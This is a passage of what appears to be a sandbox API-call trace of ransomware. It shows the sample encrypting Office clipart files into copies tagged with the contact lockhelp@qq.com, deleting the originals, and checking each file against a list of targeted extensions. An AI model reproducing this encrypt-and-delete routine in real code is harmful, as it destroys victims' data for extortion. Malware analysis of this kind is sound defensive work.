Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0292.577] GetLastError () returned 0x0 [0292.577] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xa79c, lpOverlapped=0x0) returned 1 [0292.668] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0292.669] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.669] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.669] SetEndOfFile (hFile=0x500) returned 1 [0292.669] CloseHandle (hObject=0x500) returned 1 [0292.671] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.671] SetEndOfFile (hFile=0x4f8) returned 1 [0292.673] CloseHandle (hObject=0x4f8) returned 1 [0292.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0292.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0292.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0292.674] lstrlenW (lpString=".doc") returned 4 [0292.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.674] lstrlenW (lpString=".docx") returned 5 [0292.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.674] lstrlenW (lpString=".pdf") returned 4 [0292.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.674] lstrlenW (lpString=".xls") returned 4 [0292.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.674] lstrlenW (lpString=".xlsx") returned 5 [0292.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.674] lstrlenW (lpString=".ppt") returned 4 [0292.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0292.674] lstrlenW (lpString=".zip") returned 4 [0292.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.674] lstrlenW (lpString=".rar") returned 4 [0292.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.675] lstrlenW (lpString=".bz2") returned 4 [0292.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.675] lstrlenW (lpString=".7z") returned 3 [0292.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0292.675] lstrlenW (lpString=".dbf") returned 4 [0292.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0292.675] lstrlenW (lpString=".1cd") returned 4 [0292.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0292.675] lstrlenW (lpString=".jpg") returned 4 [0292.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.675] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9992) returned 1 [0292.675] CloseHandle (hObject=0x4f8) returned 1 [0292.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0292.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0292.676] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.676] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0292.676] GetLastError () returned 0x0 [0292.677] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2708, lpOverlapped=0x0) returned 1 [0292.714] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2710, lpOverlapped=0x0) returned 1 [0292.714] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.715] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.715] SetEndOfFile (hFile=0x500) returned 1 [0292.888] CloseHandle (hObject=0x500) returned 1 [0292.889] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.889] SetEndOfFile (hFile=0x4f8) returned 1 [0292.896] CloseHandle (hObject=0x4f8) returned 1 [0292.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0292.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0292.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0292.897] lstrlenW (lpString=".doc") returned 4 [0292.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.897] lstrlenW (lpString=".docx") returned 5 [0292.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.897] lstrlenW (lpString=".pdf") returned 4 [0292.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.897] lstrlenW (lpString=".xls") returned 4 [0292.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.897] lstrlenW (lpString=".xlsx") returned 5 [0292.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.898] lstrlenW (lpString=".ppt") returned 4 [0292.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0292.898] lstrlenW (lpString=".zip") returned 4 [0292.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.898] lstrlenW (lpString=".rar") returned 4 [0292.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.898] lstrlenW (lpString=".bz2") returned 4 [0292.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.898] lstrlenW (lpString=".7z") returned 3 [0292.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0292.898] lstrlenW (lpString=".dbf") returned 4 [0292.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0292.898] lstrlenW (lpString=".1cd") returned 4 [0292.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0292.898] lstrlenW (lpString=".jpg") returned 4 [0292.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.898] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=14820) returned 1 [0292.899] CloseHandle (hObject=0x4f8) returned 1 [0292.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0292.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0292.901] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.901] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0292.902] GetLastError () returned 0x0 [0292.902] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x39e4, lpOverlapped=0x0) returned 1 [0293.025] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x39f0, lpOverlapped=0x0) returned 1 [0293.026] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.026] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.026] SetEndOfFile (hFile=0x500) returned 1 [0293.027] CloseHandle (hObject=0x500) returned 1 [0293.028] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.028] SetEndOfFile (hFile=0x4f8) returned 1 [0293.030] CloseHandle (hObject=0x4f8) returned 1 [0293.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0293.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0293.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0293.031] lstrlenW (lpString=".doc") returned 4 [0293.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.031] lstrlenW (lpString=".docx") returned 5 [0293.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.032] lstrlenW (lpString=".pdf") returned 4 [0293.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.032] lstrlenW (lpString=".xls") returned 4 [0293.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.032] lstrlenW (lpString=".xlsx") returned 5 [0293.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.032] lstrlenW (lpString=".ppt") returned 4 [0293.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0293.032] lstrlenW (lpString=".zip") returned 4 [0293.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.032] lstrlenW (lpString=".rar") returned 4 [0293.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.032] lstrlenW (lpString=".bz2") returned 4 [0293.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.032] lstrlenW (lpString=".7z") returned 3 [0293.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0293.032] lstrlenW (lpString=".dbf") returned 4 [0293.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0293.032] lstrlenW (lpString=".1cd") returned 4 [0293.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0293.032] lstrlenW (lpString=".jpg") returned 4 [0293.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.033] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2140) returned 1 [0293.033] CloseHandle (hObject=0x4f8) returned 1 [0293.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0293.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0293.034] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.034] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0293.035] GetLastError () returned 0x0 [0293.035] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x85c, lpOverlapped=0x0) returned 1 [0293.089] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x860, lpOverlapped=0x0) returned 1 [0293.090] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.090] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.090] SetEndOfFile (hFile=0x500) returned 1 [0293.090] CloseHandle (hObject=0x500) returned 1 [0293.091] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.091] SetEndOfFile (hFile=0x4f8) returned 1 [0293.093] CloseHandle (hObject=0x4f8) returned 1 [0293.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0293.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0293.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0293.094] lstrlenW (lpString=".doc") returned 4 [0293.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.094] lstrlenW (lpString=".docx") returned 5 [0293.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.094] lstrlenW (lpString=".pdf") returned 4 [0293.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.094] lstrlenW (lpString=".xls") returned 4 [0293.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.094] lstrlenW (lpString=".xlsx") returned 5 [0293.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.094] lstrlenW (lpString=".ppt") returned 4 [0293.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0293.094] lstrlenW (lpString=".zip") returned 4 [0293.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.094] lstrlenW (lpString=".rar") returned 4 [0293.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.094] lstrlenW (lpString=".bz2") returned 4 [0293.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.094] lstrlenW (lpString=".7z") returned 3 [0293.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0293.094] lstrlenW (lpString=".dbf") returned 4 [0293.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0293.095] lstrlenW (lpString=".1cd") returned 4 [0293.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0293.095] lstrlenW (lpString=".jpg") returned 4 [0293.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.117] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2780) returned 1 [0293.117] CloseHandle (hObject=0x4c4) returned 1 [0293.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0293.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0293.227] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.227] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0293.227] GetLastError () returned 0x0 [0293.227] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xadc, lpOverlapped=0x0) returned 1 [0293.351] WriteFile (in: hFile=0x514, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xae0, lpOverlapped=0x0) returned 1 [0293.352] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.352] WriteFile (in: hFile=0x514, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.352] SetEndOfFile (hFile=0x514) returned 1 [0293.352] CloseHandle (hObject=0x514) returned 1 [0293.352] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.352] SetEndOfFile (hFile=0x4e8) returned 1 [0293.355] CloseHandle (hObject=0x4e8) returned 1 [0293.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0293.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0293.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0293.356] lstrlenW (lpString=".doc") returned 4 [0293.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.356] lstrlenW (lpString=".docx") returned 5 [0293.356] lstrcmpiW (lpString1=".docx", 